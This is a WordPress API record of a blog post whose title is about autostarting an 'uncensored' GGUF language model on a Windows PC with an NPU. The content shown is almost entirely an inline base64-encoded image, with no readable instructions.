{"id":1518,"date":"2026-07-10T20:24:25","date_gmt":"2026-07-10T20:24:25","guid":{"rendered":"https:\/\/foxcharliemike.com\/?p=1518"},"modified":"2026-07-10T20:24:25","modified_gmt":"2026-07-10T20:24:25","slug":"how-to-autostart-qwen3-6-40b-claude-4-6-opus-deckard-heretic-uncensored-thinking-neo-code-di-imatrix-max-gguf-pc-with-npu-full-speed-npu-mode-windows","status":"publish","type":"post","link":"https:\/\/foxcharliemike.com\/en\/how-to-autostart-qwen3-6-40b-claude-4-6-opus-deckard-heretic-uncensored-thinking-neo-code-di-imatrix-max-gguf-pc-with-npu-full-speed-npu-mode-windows\/","title":{"rendered":"How to Autostart Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF PC with NPU Full Speed NPU Mode Windows"},"content":{"rendered":"<p><img decoding=\"async\" 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T+ZTMRzaXJcYDt\/50pTW59RjTlh+i3mJD77PPwNQ\/HYInYdKM+IQ0lNT3\/+3+nWPKUp39f8XS2DAYx6uxHec9KHsiOTfJZspzCAfGahbsdXyG3pchjJji07N\/qQOqCWnWNX\/JZLfXZYSmLHVlAtMThtcSUnvWy9f2KTV5GlNQxJsG2Ifxl3uBqJJoMNJJyQyyfBYYhn8aH\/HdiXlbmJ\/WabSwOlYCwGhtbFu7SpGrZoGjTeaaS3c9yWueOgkj036c6FSs7ezMza47+tqf+2gdfFAk6Ii2lNstCruAP\/xRxaHXYjgexBoGaZ\/dB6efeMyBqdc+aRLNdUV1yr+NVrlh9+N7k3PUX93hgi00yQQXmBEiD3YJCWbAJjGNfvwcnk9bpjpyOGX1E6UHMxxD0TdLB4GkxeM93OV9loyULEA7gO1W4n11M4q38IUoVN27Yt28qdEqCR3uIEiVupBqfOSeQQQ8\/vGzxFZhBjDA4pgOzmNSga+Bg73MT8sVraFYXNcfme4BUx7YnjRJ610STL4dYQMNPa1sVgfUrLB1nA1uJDI7wEa0L\/Dv7ljwNZlffa2SFAi2LRPYCKgP0Bs9+FrasOHd8XVrug0mM1nKri6f+\/ZQ7IvQp+SF\/5g\/tCtP9RKzRfrFKEj1T+kUncRs+0XTiHYp2Bjs0r5C5PzWo1Q1UJtZPVo79D8zy\/ZalIlPFWU+fVJW8Ob9FgCDYFCkPB\/rLPOTQJHgn4h42lfrN\/A65x5fZ5wnT2ctsmQQZo4UN3Ery567xbc7y9cN2AUhnAVdJS8xobjOP9gkaezc61CLXYhhhxsfjrkuvISZhzCM2lcVcvA1mQfZvBV+3z2dsJxxbVHe+0mMKKdFdqG6MV+JjPF1QrlGbsno5O5f2238+ncIknxpigPiVHAxrJ8e2tuLKMQlmgO1ncHw99m9U+sbVUQCy\/iqGt5f34s05DNQl24MjrXtYzfk9v6Xmwhtin2a4A2qCbxU4W1IRUKp9SM8VetMIz4805+60OYc+7\/l1K349von3KAeEmw5fY96aJzFgyIwZ9u\/n2EwqIBQ6gUYnz+LtNIYJyAEF+jqEGlFvqJhLDNTuQh6OefM0QeKvOzAX1A8GtCw\/l7mJyADE9THf+\/ga6BzHsxdax5k+iY9eLpWZysaySwRya4ckyiFJprlu4vxv9j0u0sSFIjj8K7wY2mVbmzin5jeL7u\/uiKvkJXaWpuzEcofDYF3\/TBEzWu7d3zEL40YLhaB7RNTS1mSu+kYiyiMH3s4tnGJg8GjDtQT0U98up8kBDscEVuMeHGZuuVVusu8lg\/QKwIr3it3BhxANWgZZ8WTE+5GFUj1HtI3rcJszHDj8PSWb79VFt4brSaY\/1SggvEMj3k8YUs4uvAvl3xGHBegIjP3kfDCY2ZHHtX2q2yljgcs4aIuhB26qit2hV+lSiALirtMmSUa5UWn04IqL6aoPLm6B1oQgS1+6j8io1tweHJgb4leqLyEZs0Fa2UYfjypRAR39dKCQVYnpmT7w0aVTqYmNSNsVBf7Qxuhb1NN3hiTdo1Wkdg7P2Q\/gX01ZllRza96J2eW3MfdNFCX7OuGBa1m3V5C+cRtHdzqjG7Za8iXxqd7v0LWjGk9QgmWXqE821Xd9OZVzpEE9WuP6Tbf6JFyFwg6f+WkxQZrnMk5feOJzIIpTPMiglUfLahM84\/fChjZJTaTx3XXZNQoJ8N2YGeAzurYTf8S4ZO7KVL\/lYfFOOqzXs48b5cqYukvjgGctnN3xgBPRWwlYnMIdFUj7hXtuXq0B9DVBG+6i0U2KS3xclwhirueie0\/0zPSRLZG2zD6\/nur4pNFI040sDctvyqc+1RuCbdQVFvhLH2KDNaBdZaE1Dedld\/zgFnuH7Bu3vAwr9nOBeXuayF4f\/DwO6DtWhJSPef5n\/rs+s7GPk4H+09PipQ4y+OTOBCKtGwufjAP\/HtER7AmCqeSckzOUMNRhSloXlexEsSfWAMxvLzw20qgBIrNVmcb94rSAuGnAoml1vtwVj\/dqT+65302wvWqcK1KpMdRNO9QrLiQLUzY29wb2\/6SGjgvYqcJ9g3VN35Dobr5mgxiYrDXJXT6QQaxVk0rxAMDT0ophHPpm0nRTCrsnQ8HV+l+UtbxOVdJXKrGUlXFLC+S\/+mRLB9wDq7TZeGDR4j1JEpMUAA7SDXtDJVFnBeEg5V3T86sbnP5NJyhPtaTAHM1tx7RdgQdI5bro38IASZ2Nn5Ul4tyPgS++HUgIJOt92NEdOTjZgzLvWow0HMAqEtGHS67e7fNe612Vbe\/CfMYiGO+RSNlGONU5GzoDaUy9z02b44xyWRSod75x6K78EU+xwgmRPNfu6\/w\/KSo\/39pyOEL4KzgbdK3j3j52qmvOoHll32YLzptlIRfq9fVfRgF5GOLn8y8piPNij+V8dJyltQw18L7bXiMyOkFaCAPOCAkruGVxcpb9vjN1TVvSB58nr5NCLZqyijRrCNI15K\/RhZIg3DWebcc\/Aw2m8BDn2i\/Cdp9f\/9QwbLJ0ROAGrbWEAv81RPWP2JLM0ksMe0NjAaxYK07dXJ6R3LLrHSpCeZ0z05TQAO9rMWeuhzfk9rzdUs5pqUkicOsM6KnhJgfLKWZrWQozlSUWabWoeV7Z4KeRBAzAk5TB36Wyu8tiRKnF9kw9xisVkg0es9OUMIFx\/JjvfUc\/Ets7\/dKHwCZBl4HaHa820a8V4tkwO9+c4pUFEco4isb66OZETDw7I5KSIwESvMjGQxeqHj1ylDuMCSpn3ajbpQFEMfMBhipjvXGhK0cvuaLdeZe5q5cl5DpDDNt+JAIqaIxt78UpC\/ypP1MStVH63HJksLggwHeinXdS3m\/mxTzUsnBwnz9Y46Qg1A8w6iTs66hoFn7ZySjRz5ixIs8qxn2Pu6wns7t9Nmh7X0HhOjQ5iEkgHU9TMkt1teJpqEoKVJbHQveFblMZVWHLlFXhhBTHlWKn2FbXql0kh0WRjn3QI2TVBV6Fex8ceOgUXC0GvJR\/lb8P7NmgjVCVj\/lCttpHhmacDt3RKvgeh+EOg4L+jNGx8opKOqu3HSrGiRFYygbA9Zd7NyE5lLOJZ1Y5u4ya+3A\/KDS3Z4M2QV66B4Z\/zZFEKEr5OVMeugN9gBMDK\/H\/NvzXLDrdp8V6pIR0bIdU2fDAFKM8cJSUE8LssR02ZA9G4wnwyDPbF9HEmvLQbunSsuBsb86kV4zfJFW7GMaGmHiC7C69220puILAM3sEFyzb+OZCAWjraKdjDGZGbkkrXKLWLTjCBeIhT1hqn4Zgb3e5f+LSalu5C3pEn91oaFBnyDJ8hCM4MLQFLYNZ3u3cnPYybbhABd3hnP2xYg+EfxTRdcKdzloBtF49tVNoYqGthGm3lXcOC2lcnUtpBl5D+lXAYKn\/xD1o1apzHzzf0jCrzt6N2JtpnzrcNTPFZWJtX\/GnK0UhRC3iVCWfz1\/kGpry4+\/qmGLhEynp+ScIfJOta8WMYn5D3WeD2VpETsiSzmzoFht3+Et3JYVeGdTFXJ5J3DGmK5iFVcSelkB3RWxaPqbKLAPxUmemKqA1sIdF5KnSRnOEzuB5HuuESYysqj5AptsPOp3mGHFIAdbRqn6r\/wwprNc5syaUM1oqIlg9Q\/E1\/LsWmIZzIcYvG3CA1ZY3iH0AdRNlEW9+YfZzeOeFcu1ruRFiGLYtB1p2suhcKgDsc8NVzhY9L3RxqyAFhdHUb60gkzW1AnOhkYYE0j5FwOXm+ef80A+d13\/\/FsSQ0jBN+cRHe1tqAVBrz346sXOtGeuwD4i0+Nns+F6xBOpssN8H\/\/UB1opEbRNuCmBpZ483qyDLrHfpSEafsFCTY2S6nVAMOdK9hIfyIBV2AWvZy0ZorlRt5BRuMVrZmpsQx3+qDvm5OKJFIOxcVhg+jLF2Y2MF9VAZoIYGHTNIVhGNG6GDxohuDISJ6NpsfCVUfx\/itfmTM\/4Tn2jxTZy1inCG5iit5w0Prbj9u91H47wngiuGQjYnkvINj3CB34bkGl6aXNBBDGbjONVZH9LaaRxjyqpXozSf\/z7NlRPl4r\/GjpwsJ0VRNfNo4\/x\/Rk\/7gyLIaE\/9f+oA9sMi47Ek9Q023E49BCYRFf\/8JwImSUJ8E5+k1xwc8NyNHjXYX0gygKPchtISJQNi4MFA122Sj1uASARGe7a60BCmWXZCIjTeTSz8YnzRVL3p3KjN6WphGpfpQhP+hs5M396DM0clgB1RwkFtCDMrZzTgYDUd1yX3DC3xDtPgCIYVgbouHHCZY9uwChCEqKcfLn9JztiOQ\/0p77ZNwEM6ef4qqJN+CS6c7FtFgjnTScowGylj+Wj9\/G18MXjvY2As5SajcnPW\/4VFuexY8WP4PehBWkvr\/moAmcxPoAUADABSmCegQ\/eZRllG\/YR7X5LQG+B4ijEL7FmKYkFXn9yjBbQ7eZmZafnWUQA3\/dZRDgoqU\/GQ2C8RRr1\/iAIWtc5QLlEgTIK5C9Yvms\/Xr8kVxTiwBQrqpNC8ueRVHsE+xY9TKIZ4aEsm4ZH5me6QGh4arvvApkgjW\/s+Sde6LgOQ3+sJR5ThG0G3kcgPb5gDwwPHmDsOAfzgjSGii7Ph23tg8nZihow3Z71NhKqt\/wn\/s62DTaMbYOq60yQTS\/d+9L2\/W4ICAlnpSbVj5lCCZCPvKXg1DDKOqYAMzcqQ3MLZmfvfhtJb9KEfqy+NsGXm7ayrFKlztqNMyCxNyiQIVn3GBZEpBXquihxdk31kt5UUzN2N9rQypRSqd4LH1LexZ5eoVYDW0i3DCnCU1sRAtgKoJPTorwuNqJ5O\/IUGiBCfzf4wcZVUdZJgueHQmp\/P7Za+Zwf0mB\/7Fov\/tEOfvow+yLJ7lE6yobgoH2Fnlin16MbufaNQLP420xd7uVCPeWx0cT1co9PyawG4M43jMgYRNNGEG4nob3nidjVi+lPJLYVC6pLycxS6ZktzHLVG7Vuf8aSjaStI9GadFohwRTpkuI+FC+w8DmmHepbb1dJTccuFWvF8KFpvsMdy6qAooZH3PYajqEi36xmreX7896Ua33baqT3j6njLpg8gy1b3ibi1gSWqU2blqPeYfyTkKPxmJqpRhfuGs0Nf9zvIcgSTjo\/Veet4VCQMgr+sWDPDA\/hRPVdTP2zw9XP7aB1BbL5bHSkWweqToqyWtWCf5f9298zKa+ddCMx4uAxEvY2mASqGvPPSp26lCq0aJi7dmmh29WHX30yd3XKp1zvvkkdVYgeAN48XL391KjQVALHO7ID9zBftgce54XEiwEjPlvIbkWXEoYjO4syGcamyG1MZoOxoVi5BIQ2Wz1XLHtx+5f\/pk0zHUW9MG1cOWxAywbt5odYx37tb47q9Nozf5q6m86Q7+5N0cAAhcweFf7yKwlYB1JQq9l4AF4ITfQhGG5SQJwZ\/5LCeDT+7fwWx0Abn3ZiX91adyVs1aGJluQLtk7luAXq23HpzJzhgCweEktja8m0YUcEz0neuBi5SOCOeEDoHCKnfJ2p5cYiw1mY7vFwiRLvoFJi7ElsvYW4dxSFkvh4BHBYzUhNgcGC0RUWyjxYy9fZiAJY2kR3ejVdJcs7x12Ji4n8XVwqFBrwISGvbc2J059G6BOvovu6sW6E1i4AR2hXq9EsuQdXnMW1HDzils1LTQ1Wdt69Wp1FIqd\/J72IpSHzWWb11WJ7QYlLumDG+vX6w6QY08Th\/h\/sogd8+mGhGhWlD\/Gk6BNy3k38OtJY7qeo7n3FsZ1IhX2gJS4TlyqVS73xXsjbcRhPWqcj8TAvUQuwyQ6TEErjZ0dLx8iQSfqKguY8umplban5ETwv3f2Gex9ojqKpGfVeJcdLmct6KNuOgdgPl3w1t9iumrZm4IfjGCtrjANf4329FiuPfX7gS5cfUGg+n\/DrPu8rjV3lzQUbzP+rMpxI94r6tJ5lJhCR\/49cr1t+cWklySn0kemIySAiVClFZgdEQpb4Oka696yw4LxfP7ENn18TmgmS3OFzv9mw5Jro5bwvAtMcFcFija6sxvry\/9AN\/sV0MiCHcJE0p7SZBDvNXY59m2es962PNoHSsKKtmqup+sT462A4nVBXbeMdHy0T3iDoRmoMRN04FWXWfLHNP71QE6qYsFKH3CDjBdGc8abVHG3cesYxf\/wvlW3bFwAffqwo5Be0Hl4FYcINMXrPcKnj12bbdt4\/BFN\/TwdoWic43ebrMGGwC5BQaJLaEqgyrkRG2m0FH\/6zCzWlEiYD+X3NPsvyd4MPnEaqC2eS4dPOEAsFRA7L1F5TicUmDgg0ae3FvWnnfOV+U9l9XOZ7XWfQ4q\/nIN+ciwIKEiSR7T9NVhe9Pll2OQnUYrG8TTJOnYgO9l5laCGNJ7vDghti\/wH6PGfA3MHhhIriZAiYNt09YUlzYSR1MgbL6rUelx5VUKhi\/4FRkSoOGxXCmq3k6qCAfZC68cfUwXdUttJ1LqTOBGivImfVso9uQ6TxUudA6AA7NckE9Lp6O978xWMhPq7BfcwBsirsVh4ckzcS\/VlQCvFf6udVbyQkblIIoDqbOGvKQQ\/KXXvLDKj4odx75\/V8mibU0QYTJDBfRhk2gLjT\/RmBBOcp6A+2GIDwYunxskuIQy9ZHMcghLWqHQ5t2vOAVshE\/eepETwK6FpBH+b1iEUoa1lD6ylIsxqWl2jlFb4tw4AUDk06NFW9QUJ51a4gZ693zmZ0epu3GFOiBWEGKnXmbe5YrbLdNbE9a0CI1U3z98RLMdC55lL\/i0mLjix5c0GROGPqFBAAOEEVbkuzcXyfv9omyYmqFaE88Kl642EXXsgyk\/JCEjf+i7pddALvmOt47gkowmeNxa\/Hbfb1IqelTNCUYV3zLBNkO5DQgXl+eP\/4u22qXEmeVei9LSxReJIBX\/dQ9nZ2aPlAyYuU4WN+dnlXJKiNxjaI\/GaGpxvNdg4xYO426HMTwvV4uDXctBchFUbQsJTZPTAJZ4VgAIGtJauhfo11mRylyZtKCcnm9T6BdCLPmfUAFPQZ82lMYPfOG5NNH7kBhmDQmvBo8f6TQc2MJimcD7L8ZLG82sr+0BjupiAA\/DH1XieubAK+\/4JVyF00bCaGTqx5WCbKmHajHk851ZLHmSNagJ+gjEqt1ilSr30vhUjsotSLD+IfRiWY8j3juT5eF6fkHvi3V1zduAIBJ+qpNDXQDC7cnVkAZfC7mjCce4xPcOZH9IU1pkAN+8dcjK0qlMOW7yR5cyj4oUsKt\/8bfHhmeHWSdAi2m2Cy2B0LFqUGYbj24R1+W41hXAJZ3Zx0v4UaqwRMVoSufhEH80JjOh3AAmU+GgYO96e2gCEXkuiIrTjcWDLxTlIUEaJQCOKVK2STL\/p6C8pBNBNjvL4sAkGEAOgGcybqnX7FSjiyTMCopfqnheRFN3CZEJNxh+gRJbq6Xc9ewpV7+Njs0J210TABCLPHVUWnc+BxfgoalBjlDBLq3fpbyEI16jFXBk9N9JNsqUkSruyXUuL1QNTSDhYIy6+ptFGrjapzW8zGPO+4oQ5bYdDH3Basqnl+C6sw086ykfXYJwnEGlV4gLYk7MUsMMDo5qWwsq2mbpm91UJSDLe7Dk3U8G40giHRLxHo87PVVvA\/IiuzB4ihrVEhf+OLpHJb7nLPp\/1xMQxUGtMq86v+uMppvv\/pMy1UmKn7qQJnt2Apktl48DivXr7oMRiynPG0V13p0EVTq7RB+JA8bcOouFzPs5rLOKNHzG12pzpPlbgcVF4i0Ja5VI3batAjE9sfl48nEx1Ny13zruVxAzV7gmGgOZ05WrTWu65\/yuOX4UmiWs10A56ZgV1Ep4w1aSTLBznbelfFqoh3Un\/L0+YsbsBPLj8ZG7fjtM4lEfyPFtE2hJgYOo4Gxrh9YA\/rNAgbVWApEgXeMNo7ksZ1xrDMQFRJ+TtpNxHvgM9Av1bokGo1ZIfRlfFVokeEi4tP7l6zq7f0GVymSmXWU6ZT45aKfXO78nV+LhFjsXKCwtfFEzZXDkPz5e3Uyqcj0m7K\/1BVEPh96tddk+\/q\/sgI38cCiDdfWCQiDRCHoNs1PmGvtNnJ0m3SryRecJbDwie6pK8yQdyWwJDLb9eYZls\/QSHXMMxY0IxHX8W9AIUC1PXMuJeFgdsq+cbdlT44KrvY1WmJxh0iIuc1hlzTVJA1mbhcUDRCjGEE4UfqjWXfVudbnXh\/7WtIMrGUGKMxTpI1FZvSn4obY+MgWFllKaK6qATzYC9CCHbAVJIfWKl6cas\/gzygxtbEB\/Rwgtzv96i2107B+614klmX+r4a\/4Ui+gVd3yd70K5rhrnaKK48paz5\/ABAc1mi3lTmqi1F7a3P6dEFUcu\/qkVubkpr+lCC6a5KqbKr5VlUhVexkcBDmA7eMFC9SPwttfDQFxnUnnL2RojU36q2+TMd4ue9+4mRtDwYUWVS5W6G7RKPal6TC2ZIHHd4ZY2qCam398Uh8CWAYS4ag0OXlk66\/hJzndjUqbIoFtlfUT4iF3C0b73QPox0jGxj35YcGII1mc5+mPnzyvhfjx79sW1+m0BY4w7+iFNJCvNycP\/rpiQbyQV0mlIh8DwnMDTHmQCcNyT24+PiM0KeMBqryzOj9GEatN2+wfokfvSh9LeCF3jeRHPuI0efojO+D2xUpBHffF4tI1W1K2xNrPYhqU+QDGzm9t2XQVfLvCWhA8QiCbeEETJqsApoDynnsViaF9SWARe37VNuuELQQC3eihQUT6z6CnY+n6I0YaWuTnStEWcPBeGv\/cFh2UlBT8BcPk57s8dnIptxQvxr7lVN\/vYS6oYljQDV9yQBqiNiCtNGEAHkb+jWcc7o7IsdE8z8Xo+RuolzrlYxTmeHS0zClYm8tcEC7Wxrvwzo0OwSfXAb+QZfXGPEnraZNnWZVaUMGxOTUaJMVJcHf5nTYTLkOi3OcxL1mt4HnW+6ClkytwlZ7GH+VcG9X+XeaeclXWUtYUFn8GUf\/3qD9ER9L6QDu1NPqZ8d3lAhsgqAfunaWqLO6ufWImynC5t71BmDfl+OncvZYGjXTKG8UDXgh5Iw\/yWfukBd8ov09jCOw7WfiwlxPScX2v47K0qahG+9P5M4amcLEV9S5uMIroOr9ey3\/jbzjFMlDmh20qqxoZ3ggDN6N5H4gjt2WQp7LsWBeEpPcuyOl2Crrxc+F3QtcFGpw\/JPShW2kwkBRjyJ\/AzmqzB0XKZTPqdTTdlbwyf5+HPcP9YXcyW54BfibcmYVfx324uuvfQEFmxJoveaWIE4llQRj+1KqjSs+DtZ46wrfwhOoIQ33tFe9udEzfnzVSu6H\/1z91rbZhn7rB6jI1ps94RuWymqZXusEE7b04mBuO9dGkaTYvaDdTo1pFfpWco+W7o2V5Bt33ZSnUM+N8JSnVH4eJeG50ffFCL2G8icu5lvh9bp72Dx+Ik+Yu1ENjr+ExS0zmE88Sf5CNoZv2Nvje6Lz\/EffzG69eo\/JhuZOdGSdsNApWaMNGHncCeeXOuIlA1F8EavO0S8hBKm2NFNocZFrdin04htXgh8PmSd3aD6dXz4BaTGfGMnt4f\/Zd4DLY\/eSSV9v3OKvb7d4XtclqkE1nkDl6gTvTLZmW1k4dMEIXgSDHBWwWsdlEvuZ+OYHlGRJPL9W4wsRli5qBrB0Vkz7Xhcde988YxKWjVOmI1btDfkkwDNkqzOSd\/ZL6ZsCHeEeFbuDZbHKc4hGSgHcyz6ucsUwwOnijXT1apq0Z0EP0sOZBVQ3d8M3M40uH7lRZ5j+DqiXHDZMbp02lUfAXXkLgF5qg2HGy2kDrsrDWiBjO7kS1q5hMQVaY9BI+6sq\/hiI7wsabC6m+P3Daj2VkxI6+ZOkKvSlooiVLkw0D3gPs\/MXp\/x+Q0k0GwOHjUCb3AsMU1Bll3WsPoukOj06mWsuVeilrPvRnM9cnWftvM\/vfUJG8upim0eN9r0\/DFUe0hSSr5e1dAJhz1J1NKHhrRnUBU4c2vc+2s87I8zVoqePQLm93T76ZR4ERTyXRivnXOfPTrZadZegE8G5EY9vFibAb60P38QQod6ChDBYgXwtzRAPdrz0B3z0Hs+3f0odIGRwszsAHTKZr3mKfhKrqqT3h9h9GLeJCYU54X37KFzL3CV77tMkYXgGZdZVrhnUGyqb10QYiVFv9jZQgazLuBTvvxXu5oFoQGbNUrkJONBn8Utsfc93OwowBBOLvUpT8fbYUVasbkFmyXlqffsyjJTMn\/y5jOi5d\/Oz0l5LGBOAXwOJ3xKvZS+2qYizbqmOYQ1YfbsQ7uFn8vZaTUdHn0tU8iiioiQxil8MfqwDmd9vB6kvGsDbc9ef1hd8HgZ8Hl7hd0BSm4v8r\/pX3K5dycOows96pEYVUEozX30iDjAA+SKH5\/HMSRM7g2SmnLt04gqTr\/ZECt\/LVK2pcBg4fWgwjwkmfaJs2RNCclN\/XMad5u3gu30WX44SiuP8yD4LTfZlkOkbEp1e6UcrBDCOFODh6tUxToTQ6xr09hvuoqDqsD7rz\/GU+CmQbsO5QQaEQ9JYjZgxre3IV1DXNtreuvC9lxEIoewMwKGMm2vQSbYJg0sWXO9iUA3YvAvtP\/tE8+CYiqesJ04wFww5f3J5WERVLMstkwXwS6R+Oinb0zFTikjtiXolB4oI3\/oVumM3wxtEH\/9qvltuKnvketOXFouzb\/Z45SNhnwjUGlNAZe\/HuNFLGPxoC8cOk\/rw8BJetXh8b5dsJucItiFLF8QrN7wUNfe1wN\/71OhB4MtuHSIP2sBMyOv9sTU9zXSwqJv8kN4W9hH8cQllidCwTP5OR6E6Uke6UIlN+MmgXGAzQIhPWjtF3CzaOKw+FJbR3l05QMUFJf9rGO7jBFZSZwlVGiUCL3fRV3zfdKm+xhRSpbAFpPqErZ1fvh1ITxAnUgmYmFX6h3Ns7KQr8307UCEKdlB\/kLqGKzidaMsMiP7iwQwL3E74h5vW\/NXRVVbASTTgpLttRLtzVhxSO7q+o2YWqYUG4qIlm\/7Gh0xXiQ9vf4DeX7ImAgotjDJ2H1AN56xIEDZ+On8DJs+l0\/31LhWOj0vaxg0UgAH3BZVCjftMdEYB4TdKCc32v22xWTywcl4Z2ZLqDAnveajUzyCBq3foyd7jQV1cC2Ukc324gQ2YKGkxmSW\/jnEZYNDtCS2BBcPkHPRmHYAjb48oVYHkmKt4VTlw8pkvs567641+gjptCHw07\/a6eHFpC5925M9haqlE4OwoGxunr6gY+V\/2Bj\/t\/U1073\/lOFWMpmTZ3XxycPsi7ypTsxB8cpLFVMa8kNQnSJ3yLPjbjIGC8dCJQFyq6on\/McCK14LwIrxfolr5mWuVIyqIBWm2JeAiP2IUErG34CwipnTVv2xfkmzeU6940qQpJSWK4O13gk6NCCGuKtb8JpdR21QVr+GWWF0v9xUW5n1InlH\/bqKPr2uTsrzdl5NXIG9G7\/24tPLNXwM0AgO5Nfr\/9uAl2+h\/N8jWM5OFL3Z9eFWk2e3DnNBsa7UlohPtpWOCzxXYlIQE3+aOEfenOwUSUsNdldc5+rONlZUKnG6XnoSGuXBUetpAiv6YsJGN46lskQbMSQ4fROrCdm0lr7DbfJkSBwVawvkpIsaMQH3Re+uOO37yZE21xVZLrXQV4\/ZzkRWThk9gp1+pprJQCfLqfU1Ek8dgdSHc0t8rLMTsWgP4ROiT5s73\/4xU9ZCFKkonTeM5fOhQ8LYaCqStOGldFY8Yvx+DC6FUO6b0E6zdMRNq+4ZrE40YWuK\/eWkcaFruzSHpQvBD9KJlBi+DsQvdkCvO5E9igcWMJ3n9tysmVVbc996pP9w86\/MdALl+HZFWUWhS\/4atAwxF6J2P+HVG8cXqq74hYfvFcFEelJ6T9Wy59oL5yrmeaBCpTVIKtCGOhIhTdxL9WrGysNcNk0ha2aAdlzNfqY7MlokbCf0pqBiAyeLjjxnz+zrMbqyyiLI608KlPEEeJ0THVz5Wgg\/KQVSjWbA11MauboxhXjOkuP\/3VG0c\/Xe7LLF0X4cSJn5K+b573wVru3eHEIrX01EfDdc8V4rkzeepc\/93c+UG94CWBWJL36It\/9EMjTWX4fUlzS1azGO2vQT6LVlXtDR4hXO2D\/jOQJPA0raBGMlWOEzX439p5agTaDR1Kf44EsBBaP7wj2O2o2wTPZLgAiAmeY6CnTAcuU0G2KYd0dhHj\/cQV8Bd3iw7EbrS1Lotu5zxvnrYNX7rG00DRHJffHBoI+os792X9lvT72jxOEdztTabZCsdatGo4anMkvetqdu9Rt1CcqfiJavit0o+\/BRYGODyqCxuFFxeMpe6dvBOvimYcUpVkPe6P0IjIADMmixIhmy02lDIG9VabRfQsIwAdw6OHFvD0uE2XkGcS1M5s+JsrupCvg+iak0mgZbTG1e8ZpFvTZ5PxEqzDSg9498VLUk6j2cgnMF7rh3iAhfY8+ZGIWiu5WsW6VWrXWPgSSzorT5VHOe9WP2u2+8DGCJ\/3pDoLHnA+MbGOZF5R+0r5gc4NcnXnTkrfsoZ\/8\/JuKkv+61Ie6W0w2YEkm6wZ4+Wi3Noa+3uU4SIO+MBf9dkxiMlYcGdKf1b\/FBiI0z9Yo1e1hHuIAGr6sYy8pAI\/\/mpUHwqTIHBRKwn9dl3FOQ2lXnaj\/F32QPIjGMM66ak236h0YccjpxnFduoBcwK21AleumaAc0QHHMOwPhQB9rxl7DEFBG49zHenOuB8+qKlbDSh75coICAKIXTGP6iMwJfoyj68V6vJ0mnzKiQMKRcCuRaSbxIIK6fMO+ubCToQgjFc4yoRK4a95dktV6DzEXiC1zqSDDVFFY8k+WNU0UISz0PFdGbA8YZaHMHAvQUa6P4ExvFGgfnvkNR5U6dJHscs5DVdzUN98V1beLKi\/8baak8EzOtuLTLZo9n0trAQAEdZT+fGn61QqyuaZ86yjk90cnhW8RnKBYM\/RkJiumfADpF4HIL+V4NxL7rzKiqJu900A8NvH6cSAjtRqCB+pyqnb2zMF6sUQkVaDmBCJj3esXH4\/hAUUwOslWOlQTEdGRp7Q2y4puyEcgeH6iCTyVQJHBzasBmll7qjdh8xsC3qPh8SlumcaRSwvtI7D0iYxT5PUJ44l+X42jNsfTRoy2eY8NHtQNaEU2FXXmn1t4iQWKDHuu+lmioHXFXxtBf1263slyzcOY5XxKjgK2JX+qshGXABwDbWFiofpfpo0iBmoyyqhC4b3P+SKkOd2qSZp8qBfcnu7vtCyMl0wztZkRpQId3q7lHsrqJw1dRqq\/FNNwopd0vFwg9NOFVPuNjFyIUpVeBRiGYFJZVNFbkc+uppqsb6eiUONDrxP0jMptnENFcFdlJ23N2Sd8Clvzejt2tUST8KlDlw1QomejGqG+FxJqdI1n0QaCZKAbLpTz\/taFPo0ySY1d9iEkAfM+WqGLMJtCUIZyvrcOIkQMJIJho1AjV\/c8MZw8JmA2jGovblfi+C8\/IQQY93eYH8YK+Ut4rwMTHOanJ8fKyTRCZcADcgRa8FHO+94jgsxCcI1dyXaub+61j8Fu+xwPQGZfVfBO\/xPxjWJ+KpP+PUNCcGlkOPTr5aKss6SzIpT4Z1+RCYNoNAwmIDFHVH3w0RmBlEmxArM42p416h4cj1PljNcAGfMB8SDL2Nj8jd9j0iQtyhGmpFmOj\/0iNFp39E71ncveK7a\/xAt5LIox8g4827+hHa2rc1vnrm7a+7jAduRC1Il7Q2wdUIknzAb9+X3KKq4nhhKt0JRwNnVSV\/VeYk2kPBPjvx8FRWJsHeJ0Q4ED5DS03aZUT1qBViLuJiaonqhPhlP4uMvS0EJO2nYvC99mWGsa0\/QP0kKIC1ToaZh5IOMJJEzZ3G6FqKOXyLaS7BzaZWBXvsIJ0Ava6q5ucLp3gGvU5f9QxDlZ8of4NK8JSG\/WExSdgbE2i+3tHYOUosFDtTCWNUOzYB+coPHvOYfhU3fmmj7XoVXQd3K\/4Fl2UUySCYjGxPh6Gwmag5FqOxcLkUOv7dsN6GmwsS1i5LH43vg21ooSUEcAfQ7loM3S8lPMXriBrU2wfjw+ARAB65UT6PeHqkCzIOwPwR\/8W3hLWZTjKPO2l\/8b9ZOfefFxmJ0L9SJtEssxwrMi70QuLkwmLw6APEyW\/at\/qm1BZR3tTtB+Qn4vEN4D\/rJeG+z+ijFVGwGu\/+q0OLrJ71eOrV4c49FZct\/r2NfVCG\/veEHDQWS2QfGnkCmNrauJ\/NqReRsiQ81gvhiybv7sCUf4shnClJ2iz39j8\/78AhOv5S\/V5h\/+8xZB8josFZzkLpmuXESTNo4FdHUwjoiuPbeIv2k60Z2M5d59gCInRSbxixvRzX8DHkRH8qhCXKF1pB\/cN\/CdKbY6cO103a1fh0vscuAQvnp+2sRumcS6TL+6HCjXSV7XhB2J5qAXpNA1x04j\/4cs1CAPPSDPf7X3Tsgx85PTu9zS2bNcG9nlaPdmW8UJ8TSVnR0VmF0MdbgM83p0n9MfVs\/926Wmilqqmisu9bPftOmMAss6NMGruPbpoRh87lAkRe7luhEcxaLt5j1ajvrK3oEO+FKaRNZq\/5Iy\/nQmxnDArihgxtodWIIbxUuhE7kgcYSqqlgy\/pWZBQtwV8BSjVX09hJmZSyxJQOsXnKjIoWEcJgp0bDOOhrv\/Z4vrkHtkk8bMa49lf0ah8Y\/yCLtLiy\/Ub3vmxdyIGU1UG2kwjlbmR5J\/4pkcFMgef7hpBazwdo3aCoe3+fsSmwyJkRjtyBbtlNMg98clv60Q7CY5ZiVYzeICSlfjjbZHvQv3XmLkmDQjZEye\/Re+N0NeTpmc3jdI2EBUVxe7IMhbWtletpGulFam8pM0tPE2DoPqg\/jUWnGoTQotjizdZSv2aLM6iiKAAAmRqQABYkXfDtl0XIbPsnHUwptHWqyWZKOvr9PNIXyJguHaSs8E5\/UBggjm5As60SRfOJF5g0M9f81MOTgd5nwLSK+aqcEsh3NIJ\/CYbpz6bcj\/O66sEqoEyPaGu\/05sae0K+\/HPQR90RJO5+88